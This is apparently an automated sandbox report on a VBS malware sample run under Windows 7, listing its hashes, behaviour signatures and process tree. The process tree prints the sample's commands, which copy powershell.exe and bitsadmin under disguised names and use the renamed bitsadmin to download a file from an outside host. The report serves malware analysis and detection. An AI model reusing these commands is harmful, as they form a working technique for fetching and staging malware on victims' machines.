Analysis
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max time kernel
120s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
07-07-2024 10:35
Static task
static1
Behavioral task
behavioral1
Sample
29ec374f3e6c877fb8d178d54bdc86d6_JaffaCakes118.vbs
Resource
win7-20240221-en
General
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Target
29ec374f3e6c877fb8d178d54bdc86d6_JaffaCakes118.vbs
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Size
9KB
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MD5
29ec374f3e6c877fb8d178d54bdc86d6
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SHA1
dc798767bb280847a81f6fce72c2100c190a8135
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SHA256
109ce2c2ec110de51db1113ad11bcbb30c4c3ef02f2dda5a97a138f885f50f49
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SHA512
6d62ff0e4f6f329e9a6d45fd41703512fee0db53a9ca7b9fa9b7827337b026d06eba4ae12d08f5f7654d6b218670b779928071fa28c18aba812cd50b4421dc17
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SSDEEP
192:GFPF/TusFUnu/nXWB+N7Z+ssQBq4MZEgo8xNQCBDG+Z0JK7WOG/bbfghfyFIFQF6:CTusFUnu/nXWm7Z+s5HMZEgo8xNQCBqg
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
Processes:
rZbagMHin.exepid process 2516 rZbagMHin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 13 IoCs
Processes:
WScript.execmd.exedescription pid process target process PID 1936 wrote to memory of 1752 1936 WScript.exe cmd.exe PID 1936 wrote to memory of 1752 1936 WScript.exe cmd.exe PID 1936 wrote to memory of 1752 1936 WScript.exe cmd.exe PID 1752 wrote to memory of 2080 1752 cmd.exe cmd.exe PID 1752 wrote to memory of 2080 1752 cmd.exe cmd.exe PID 1752 wrote to memory of 2080 1752 cmd.exe cmd.exe PID 1752 wrote to memory of 2476 1752 cmd.exe cmd.exe PID 1752 wrote to memory of 2476 1752 cmd.exe cmd.exe PID 1752 wrote to memory of 2476 1752 cmd.exe cmd.exe PID 1936 wrote to memory of 2516 1936 WScript.exe rZbagMHin.exe PID 1936 wrote to memory of 2516 1936 WScript.exe rZbagMHin.exe PID 1936 wrote to memory of 2516 1936 WScript.exe rZbagMHin.exe PID 1936 wrote to memory of 2516 1936 WScript.exe rZbagMHin.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\29ec374f3e6c877fb8d178d54bdc86d6_JaffaCakes118.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:1936 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\avwyOLoh.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\rZbagMH*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1752 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\avwyOLoh.exe3⤵PID:2080
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\rZbagMH*.exe3⤵PID:2476
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C:\ProgramData\rZbagMHin.exe"C:\ProgramData\rZbagMHin.exe" /wrap /transfer XMsrTAoB https://marthayfabrizio.com/fibra/09069420967/doc.doc C:\ProgramData\doc.doc2⤵
- Executes dropped EXE
PID:2516
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
182KB
MD50920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51